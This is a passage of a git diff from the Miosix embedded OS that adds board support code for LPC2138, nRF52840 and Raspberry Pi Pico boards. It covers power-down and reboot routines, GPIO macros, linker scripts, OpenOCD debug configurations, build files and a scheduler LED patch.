FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + { + PauseKernelLock lock; + + //wait button release + while(buttonEnter()) delayMs(20); + + //sleep 100ms + delayMs(100); + + //Disable interrupts + { + GlobalIrqLock lock; + + //Clearing PINSEL registers. All pin are GPIO by default + PINSEL0=0; + PINSEL1=0; + //Restore failsafe pin state (only non-gpio pin) + IOSET0=IOSET0_failsafe & (~GPIO_0_MASK); + IOCLR0=IOCLR0_failsafe & (~GPIO_0_MASK); + IODIR0=((IODIR0 & GPIO_0_MASK) | (IODIR0_failsafe & (~GPIO_0_MASK))); + //Not changing IODIR1, IOCLR1 and IOSET1 because are all gpio + + IODIR0|=(1<<18);//making p0.18 uSD miso an output, so if no card present it + //is not floating + + //Set wakup time + #ifdef WITH_RTC + if(t!=NULL) + { + unsigned char tmp=((t->wakeup_mask) & 0xf);//sec, min, hour, day + tmp|=(1<<4) | (1<<5);//Day of month and day of year not compared for alarm + if((t->wakeup_mask) & (1<<4)) tmp|=(1<<6);//month + if((t->wakeup_mask) & (1<<5)) tmp|=(1<<7);//year + AMR=tmp; + ALSEC=(int)(t->sec); + ALMIN=(int)(t->min); + ALHOUR=(int)(t->hour); + ALDOM=(int)(t->day); + ALDOW=0;//Not used + ALDOY=0;//Not used + ALMON=(int)(t->month); + ALYEAR=(int)(t->year); + } else { + AMR=0xff;//Time wakeup disabled + } + ILR=0x3;//Clear RTC alarm interrupt flag + #endif //WITH_RTC + + #ifdef WAKEUP_DELAY + bool skip_delay=false; + sleep_again: //We jump here if WAKEUP_DELAY is #define'd and we do not hold + //down p0.14 enough + #endif //WAKEUP_DELAY + + //now power down system + PCON=BODPDM;//Disable BOD to save power + #ifdef WITH_RTC + INTWAKE=(1<<1) | (1<<15);//EINT1 (p0.14) + RTC selected + #else //WITH_RTC + INTWAKE=(1<<1);//EINT1 (p0.14) selected + #endif //WITH_RTC + EXTMODE=0;//Interrupt level sensitive + EXTPOLAR=0;//Interrupt is active low + EXTINT=(1<<1);//Clear flag for int1 + PINSEL0|=(1<<29);//p0.14 external interrupt + goPowerDown(); + PINSEL0&=~(1<<29);//p0.14 standard I/O + + #if defined(WITH_RTC) && defined(WAKEUP_DELAY) + //If we woke because of a RTC timeout, no button delay + if(ILR & (1<<1)) skip_delay=true; + #endif //WITH_RTC + + #ifdef WAKEUP_DELAY + if(skip_delay==false) + { + //user must hold down enter button for 2 seconds + int i; + for(i=0;i<20;i++) + { + //Waiting 100/4 because PLL is not yet enabled, clock frequency is low + delayMs(100/4); + if(!buttonEnter()) goto sleep_again; + } + } + #endif//WAKEUP_DELAY + + if(and_return==false) IRQsystemReboot(); + + //Reinitialize PLL and APB prescaler after power down + IRQmemoryAndClockInit(); + + IODIR0&=~(1<<18);//restoring p0.18 uSD miso as input. + + //Now wait 50ms + ledOn(); + delayMs(50); + ledOff(); + //Enable 3v subsystem + subsystem_3v_on(); + delayMs(50); + } + } +} + +void sleep(Time *t) +{ + _shutdown(true,t); +} + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when p0.14 goes low, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +150uA, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must be set as output high. +*/ +void shutdown() +{ + _shutdown(false,NULL); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + //Clearing PINSEL registers. All pin are GPIO by default + PINSEL0=0; + PINSEL1=0; + //Restore failsafe pin state (only non-gpio pin) + IOSET0=IOSET0_failsafe & (~GPIO_0_MASK); + IOCLR0=IOCLR0_failsafe & (~GPIO_0_MASK); + IODIR0=((IODIR0 & GPIO_0_MASK) | (IODIR0_failsafe & (~GPIO_0_MASK))); + //Not changing IODIR1, IOCLR1 and IOSET1 because are all gpio + delayMs(100); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/bsp_impl.h b/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..5dd9cd6e3 --- /dev/null +++ b/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/bsp_impl.h @@ -0,0 +1,306 @@ +/*************************************************************************** + * Copyright (C) 2008, 2009, 2010 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" + +/** +\addtogroup Hardware +\{ +*/ + +/** +Turn on LED connected to P0.31 +*/ +#define ledOn() IOCLR0=(1<<31) + +/** +Turn off LED connected to P0.31 +*/ +#define ledOff() IOSET0=(1<<31) + +/** +Polls the SD card sense GPIO +\return true if there is an uSD card in the socket. +*/ +#define sdCardSense() (!(IOPIN0 & (1<<11))) + +/** +\return true if the USB cable is connected. +*/ +#define USBstatus() (IOPIN0 & (1<<15)) + +/** +Polls the button on the miosix board +\return true if the button is pushed. +*/ +#define buttonEnter() (!(IOPIN0 & (1<<14))) + +//All bits related to gpio pins of port 0 are @ 1 +#define GPIO_0_MASK 0x7ee117fc + +/** +Set one or more gpio pin of port 0. +If the pin is selected as output, it will become high. +Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 +p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. +To set a pin with number k, the k-th bit in the x variable must be set. +Example: to set pin 4,7 and 8 use: +\code pin_0_set( (1<<4) | (1<<7) | (1<<8) );\endcode +\param x unsigned int where bits to set are @ 1 +*/ +#define pin_0_set(x) { IOSET0=((x) & GPIO_0_MASK); } + +/** +Clear one or more gpio pin of port 0. +If the pin is selected as output, it will become low. +Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 +p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. +To clear a pin with number k, the k-th bit in the x variable must be set. +Example: to clear pin 4,7 and 8 use: +\code pin_0_clr( (1<<4) | (1<<7) | (1<<8) );\endcode +\param x unsigned int where bits to clear are @ 1 +*/ +#define pin_0_clr(x) { IOCLR0=((x) & GPIO_0_MASK); } + +/** +Read one or more gpio pin of port 0. +If the pin is selected as input, its value can be read. +Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 +p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. +If the pin with number k is high, the k-th bit in the x variable will be set. +The value of pin selected as output and of non-gpio pins is unspecified. +Example: to read pin 9 use: +\code if(pin_0_read() & (1<<9)) { pin 9 is high } else { pin 9 is low }\endcode +\return unsigned int where bits set are @ 1 +*/ +#define pin_0_read() (IOPIN0) + +/** +Modify the state of one or more pin of port 0, so that they become output. +Once the pin are output, you can write to them using pin_0_set() and pin_0_clr() +Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 +p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. +To change the state of a pin with number k, the k-th bit in the x variable must +be set. +Example: to set pin 4,7 and 8 as output use: +\code mode_0_out( (1<<4) | (1<<7) | (1<<8) );\endcode +\param x unsigned int where bits to set as output are @ 1 +*/ +#define mode_0_out(x) { IODIR0 |= ((x) & GPIO_0_MASK); } + +/** +Modify the state of one or more pin of port 0, so that they become input. +Once the pin are input, you can read them using pin_0_read() +Available pin are p0.2 p0.3 p0.4 p0.5 p0.6 p0.7 p0.8 p0.9 p0.10 p0.12 +p0.16 p0.21 p0.22 p0.23 p0.25 p0.26 p0.27 p0.28 p0.29 p0.30. +To change the state of a pin with number k, the k-th bit in the x variable must +be set. +Example: to set pin 4,7 and 8 as input use: +\code mode_0_in( (1<<4) | (1<<7) | (1<<8) );\endcode +\param x unsigned int where bits to set as input are @ 1 +*/ +#define mode_0_in(x) { IODIR0 &= ((x) | (~GPIO_0_MASK)); } + +/** +Set one or more gpio pin of port 1. +If the pin is selected as output, it will become high. +Available pin are in range from p0.16 to p0.31. +To set a pin with number k, the k-th bit in the x variable must be set. +Example: to set pin 16 and 18 use: +\code pin_1_set( (1<<16) | (1<<18) );\endcode +\param x unsigned int where bits to set are @ 1 +*/ +#define pin_1_set(x) { IOSET1=(x); } + +/** +Clear one or more gpio pin of port 1. +If the pin is selected as output, it will become low. +Available pin are in range from p0.16 to p0.31. +To clear a pin with number k, the k-th bit in the x variable must be set. +Example: to clear pin 16 and 18 use: +\code pin_1_clr( (1<<16) | (1<<18) );\endcode +\param x unsigned int where bits to clear are @ 1 +*/ +#define pin_1_clr(x) { IOCLR1=(x); } + +/** +Read one or more gpio pin of port 1. +If the pin is selected as input, its value can be read. +Available pin are in range from p0.16 to p0.31. +If the pin with number k is high, the k-th bit in the x variable will be set. +The value of pin selected as output and of non-gpio pins is unspecified. +Example: to read pin 19 use: +\code if(pin_1_read() & (1<<19)) { pin 19 is high } else { pin 19 is low }\endcode +\return unsigned int where bits set are @ 1 +*/ +#define pin_1_read() (IOPIN1) + +/** +Modify the state of one or more pin of port 1, so that they become output. +Once the pin are output, you can write to them using pin_1_set() and pin_1_clr() +Available pin are in range from p0.16 to p0.31. +To change the state of a pin with number k, the k-th bit in the x variable must +be set. +Example: to set pin 16 and 18 as output use: +\code mode_1_out( (1<<16) | (1<<18) );\endcode +\param x unsigned int where bits to set as output are @ 1 +*/ +#define mode_1_out(x) { IODIR1 |= (x); } + +/** +Modify the state of one or more pin of port 1, so that they become input. +Once the pin are input, you can read them using pin_1_read() +Available pin are in range from p0.16 to p0.31. +To change the state of a pin with number k, the k-th bit in the x variable must +be set. +Example: to set pin 16 and 18 as input use: +\code mode_1_in( (1<<16) | (1<<18) );\endcode +\param x unsigned int where bits to set as input are @ 1 +*/ +#define mode_1_in(x) { IODIR1 &= (x); } + +//Bits of PCONP register +#define PCTIM0 (1<<1) +#define PCTIM1 (1<<2) +#define PCUART0 (1<<3) +#define PCUART1 (1<<4) +#define PCPWM0 (1<<5) +#define PCI2C0 (1<<7) +#define PCSPI0 (1<<8) +#define PCRTC (1<<9) +#define PCSPI1 (1<<10) +#define PCAD0 (1<<12) +#define PCI2C1 (1<<19) +#define PCAD1 (1<<20) + +//Bits of PCON register +#define IDL (1<<0) +#define PD (1<<1) +#define BODPDM (1<<2) +#define BOGD (1<<3) +#define BORD (1<<4) + +///No operation instruction. +///Expands to an assembler "nop". +#define nop() { asm volatile("nop"::); } + +/** +\} +*/ + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** +\enum DayOfWeek +Day of week field in Time struct +*/ +enum DayOfWeek +{ + MON,///If t is NULL, wakeup only +occurs when p0.14 goes low. If t is a valid time, wakeup occurs when that time +is reached OR when p0.14 goes low, whichever occurs first.
+Note that time support is only enabled if WITH_RTC is \#define'd in +miosix_settings.h. If it is not defined, time will be ignored.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+Note: if using the wakeup time, it must be at least 2 seconds after the moment +where sleep() is called, otherwise wakeup will not occur.
+When in sleep mode, power consumption of the miosix board is reduced to ~ 150uA, +however, true power consumption depends on what is connected to the GPIO pins. +The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling sleep(). Please note that to +minimize power consumption all unused GPIO must be set as output high. +\param t wakeup time, or NULL +*/ +void sleep(Time *t); + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/lpc2138_miosix_board/openocd.cfg b/miosix/arch/board/lpc2138_miosix_board/openocd.cfg new file mode 100644 index 000000000..1b7b896ab --- /dev/null +++ b/miosix/arch/board/lpc2138_miosix_board/openocd.cfg @@ -0,0 +1,18 @@ +# +# OpenOCD configuration file for in-circuit debugging of stm32 +# Tested on OpenOCD v0.10.0 +# + +#daemon configuration +telnet_port 4444 +gdb_port 3333 + +gdb_breakpoint_override hard + +source [find interface/ftdi/olimex-arm-usb-ocd.cfg] + +source [find target/lpc2xxx.cfg] + +proc init_targets {} { + setup_lpc2xxx lpc2138 "0x3f0f0f0f 0x4f1f0f0f" 0x7d000 lpc2000_v2 0x8000 14745 1500 +} diff --git a/miosix/arch/board/lpc2138_miosix_board/unikernel.ld b/miosix/arch/board/lpc2138_miosix_board/unikernel.ld new file mode 100644 index 000000000..0da4790c4 --- /dev/null +++ b/miosix/arch/board/lpc2138_miosix_board/unikernel.ld @@ -0,0 +1,42 @@ +/* + * Linker script for LPC2000 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * The ARM7TDMI core has 7 operating modes: USR, SYS, SVC, IRQ, FIQ, ABT, UND. + * USR and SYS share the stack pointer, but all other modes 6 have a separate + * hardware stack. The Miosix ARMv4 CPU support in file interrupts.cpp makes the + * following simplifications: + * - ABT, UND, SVC, IRQ share the same stack, called the IRQ stack + * - USR and SYS are given a stack by the kernel, not here + * - FIQ is unused so by default its stack size is 0 in this linker script + * + * NOTE: the generic linker script in Miosix defines a memory region for the + * IRQ stack whose size is overridable with _irq_stack_size, and also provides + * the _irq_stack_top symbol. It does however *not* reserve space for a FIQ + * stack, so here we use the following workaround: + * We change the meaning of _irq_stack_size to be the sum of the size of the + * IRQ and FIQ stacks, and piggyback the FIQ stack at the bottom of the IRQ + * stack. This is understandably unintuitive, but ARMv4 support in Miosix is + * considered somewhat legacy, and on top of that no Miosix firwmare I'm aware + * of ever used the FIQ so that's good enough. + */ +_irq_stack_size = 512; /* NOTE: Sum of the IRQ and FIQ stack sizes! */ +_fiq_stack_size = 0; /* Size of the FIQ stack */ +_fiq_stack_top = ORIGIN(ram) + _fiq_stack_size; + +MEMORY +{ + flash(rx) : ORIGIN = 0, LENGTH = 500K /* 512K-12K bootloader */ + /* + * NOTE: the upper 32 byte should be reserved for IAP but doing so means + * the top 1KB block won't be usable by malloc. Since no Miosix firmware + * for LPC2000 is known too use IAP, we'll just not reserve those bytes + */ + /* ram(wx) : ORIGIN = 0x40000000, LENGTH = 32K-32 */ + ram(wx) : ORIGIN = 0x40000000, LENGTH = 32K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/nrf52840_generic/CMakeLists.txt b/miosix/arch/board/nrf52840_generic/CMakeLists.txt new file mode 100644 index 000000000..0151230f9 --- /dev/null +++ b/miosix/arch/board/nrf52840_generic/CMakeLists.txt @@ -0,0 +1,31 @@ +## +## CMakeLists.txt for board nrf52840_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/nrf52) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_NRF52840_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_NRF52840_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE echo 'make program not supported.') diff --git a/miosix/arch/board/nrf52840_generic/Makefile.inc b/miosix/arch/board/nrf52840_generic/Makefile.inc new file mode 100644 index 000000000..12c0a15e6 --- /dev/null +++ b/miosix/arch/board/nrf52840_generic/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board nrf52840_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/nrf52 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_NRF52840_GENERIC +BOARD_CXXFLAGS := -D_BOARD_NRF52840_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= echo 'make program not supported.' diff --git a/miosix/arch/board/nrf52840_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/nrf52840_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..9b2475865 --- /dev/null +++ b/miosix/arch/board/nrf52840_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/clock/atsam4l_clock.h" + +//TODO +#define DONT_USE_CMSIS_INIT + +//This file in turn includes core_cm4.h +#include "CMSIS/Device/Nordic/nRF52/Include/nrf52840.h" + +//Peripheral interrupt start from 0 and the last one is 47, so there are 48 +#define MIOSIX_NUM_PERIPHERAL_IRQ 48 diff --git a/miosix/arch/board/nrf52840_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/nrf52840_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..a37375398 --- /dev/null +++ b/miosix/arch/board/nrf52840_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,90 @@ +/*************************************************************************** + * Copyright (C) 2015-2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include "miosix_settings.h" +#include "interfaces/bsp.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "interfaces_private/bsp_private.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +using namespace std; + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + IRQsetDefaultConsole(intrusive_ref_ptr(new ARMDCC)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + //Passing an empty device won't mount fat32, but will mount romfs and devfs + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + //NOTE: application can configure one or more GPIO to cause a reboot on pin + //change using the SENSE bits in PIN_CNF + NRF_POWER->SYSTEMOFF=1; + //We never reach here unless a debugger is connected. In this case we reboot + IRQsystemReboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/nrf52840_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/nrf52840_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..2c07654d6 --- /dev/null +++ b/miosix/arch/board/nrf52840_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,49 @@ +/*************************************************************************** + * Copyright (C) 2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +inline void ledOn() {} +inline void ledOff() {} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/nrf52840_generic/openocd.cfg b/miosix/arch/board/nrf52840_generic/openocd.cfg new file mode 100644 index 000000000..27b4eb256 --- /dev/null +++ b/miosix/arch/board/nrf52840_generic/openocd.cfg @@ -0,0 +1,51 @@ +# +# OpenOCD configuration file for in-circuit debugging nRF52 chips +# To start debugging issue those commands: +# - on shell #1 +# openocd -f miosix-kernel/miosix/arch/cortexM4_nrf52/nrf52840_generic/openocd.cfg +# - on shell #2 +# arm-miosix-eabi-gdb main.elf +# target extended-remote :3333 +# monitor reset halt +# monitor adapter speed 500 +# set remotetimeout 30000 +# monitor start_dcc +# load +# break main +# run +# + +# Daemon configuration +telnet_port 4444 +gdb_port 3333 + +source [find interface/cmsis-dap.cfg] +#source [find interface/stlink.cfg] +#transport select hla_swd +source [find target/nrf52.cfg] + +# Utility function to enable the ARM DCC, can be used if the kernel is +# configured to redirect debug printf through DCC. May require a kernel reboot +proc start_dcc {} { + target_request debugmsgs enable + trace point 1 +} + +# Utility function to end debugging session and put the chip out of +# Debug Interface mode. Just quitting OpenOCD does not truly exit debug mode. +# This is important to restore low power operation and make the SYSTEMOFF +# command (used by Miosix's shutdown() function) work again without the need for +# a power cycle. +# See the datasheet chapter 4.8.4 Debug Interface mode and the following thread +# https://devzone.nordicsemi.com/f/nordic-q-a/67075/exit-from-debug-interface-mode-without-power-cycling-the-chip +# which explains the J-Link "writeDP 1 0" command must be issued whose openocd +# equivalent is $dap dpreg 4 0 because registers addresses in openocd are in +# bytes so register 1 is actually at address 4 +proc exit_debug_mode {} { + set target [target current] + set dap [$target cget -dap] + reset + poll off + $dap dpreg 4 0 + shutdown +} diff --git a/miosix/arch/board/nrf52840_generic/unikernel.ld b/miosix/arch/board/nrf52840_generic/unikernel.ld new file mode 100644 index 000000000..2582921ff --- /dev/null +++ b/miosix/arch/board/nrf52840_generic/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for nrf52840 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x00000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 256K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/rp2040_raspberry_pi_pico/CMakeLists.txt b/miosix/arch/board/rp2040_raspberry_pi_pico/CMakeLists.txt new file mode 100644 index 000000000..417ec11a3 --- /dev/null +++ b/miosix/arch/board/rp2040_raspberry_pi_pico/CMakeLists.txt @@ -0,0 +1,40 @@ +## +## CMakeLists.txt for board rp2040_raspberry_pi_pico +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/rp2040) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Board variant for selecting either the "plain" Pico or Pico W +set(MIOSIX_BOARD_VARIANT_LIST + BOARD_VARIANT_PICO + BOARD_VARIANT_PICO_W +) +set(MIOSIX_DEFAULT_BOARD_VARIANT BOARD_VARIANT_PICO_W) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_CHIP_INC}/rp2040_boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -DBOARD_RP2040_RASPBERRY_PI_PICO) +set(MIOSIX_BOARD_CXX_FLAGS -DBOARD_RP2040_RASPBERRY_PI_PICO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE picotool load -x ) diff --git a/miosix/arch/board/rp2040_raspberry_pi_pico/Makefile.inc b/miosix/arch/board/rp2040_raspberry_pi_pico/Makefile.inc new file mode 100644 index 000000000..df4e8fd10 --- /dev/null +++ b/miosix/arch/board/rp2040_raspberry_pi_pico/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for board rp2040_raspberry_pi_pico +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/rp2040 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(CHIP_INC)/rp2040_boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -DBOARD_RP2040_RASPBERRY_PI_PICO -D$(BOARD_VARIANT) +BOARD_CXXFLAGS := -DBOARD_RP2040_RASPBERRY_PI_PICO -D$(BOARD_VARIANT) + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= picotool load -x $(if $(ROMFS_DIR), image.bin, main.bin) diff --git a/miosix/arch/board/rp2040_raspberry_pi_pico/core_activity_leds.patch b/miosix/arch/board/rp2040_raspberry_pi_pico/core_activity_leds.patch new file mode 100644 index 000000000..e4b5772b2 --- /dev/null +++ b/miosix/arch/board/rp2040_raspberry_pi_pico/core_activity_leds.patch @@ -0,0 +1,76 @@ +diff --git a/miosix/kernel/scheduler/edf/edf_scheduler.cpp b/miosix/kernel/scheduler/edf/edf_scheduler.cpp +index 5120bc6a..ab7dcedf 100644 +--- a/miosix/kernel/scheduler/edf/edf_scheduler.cpp ++++ b/miosix/kernel/scheduler/edf/edf_scheduler.cpp +@@ -34,6 +34,10 @@ + #include "kernel/cpu_time_counter.h" + #include + ++#include "interfaces/gpio.h" ++using greenLed = miosix::Gpio; ++using yellowLed = miosix::Gpio; ++ + using namespace std; + + #ifdef SCHED_TYPE_EDF +@@ -147,6 +151,9 @@ void EDFScheduler::IRQsetIdleThread(int whichCore, Thread *idleThread) + idleThread->schedData.deadline=numeric_limits::max()-1; + idleThread->savedPriority=numeric_limits::max()-1; + idle[whichCore]=idleThread; ++ ++ greenLed::mode(Mode::OUTPUT); ++ yellowLed::mode(Mode::OUTPUT); + } + + void EDFScheduler::IRQwokenThread(Thread* thread) +@@ -402,6 +409,9 @@ void EDFScheduler::IRQrunScheduler() + } + #endif //WITH_THREAD_AFFINITY + #endif //WITH_SMP ++ ++ if(next!=idle[coreId]) if(coreId==0) greenLed::high(); else yellowLed::high(); ++ else if(coreId==0) greenLed::low(); else yellowLed::low(); + } + + TimeSortedQueue EDFScheduler::readyEdfThreads; +diff --git a/miosix/kernel/scheduler/priority/priority_scheduler.cpp b/miosix/kernel/scheduler/priority/priority_scheduler.cpp +index 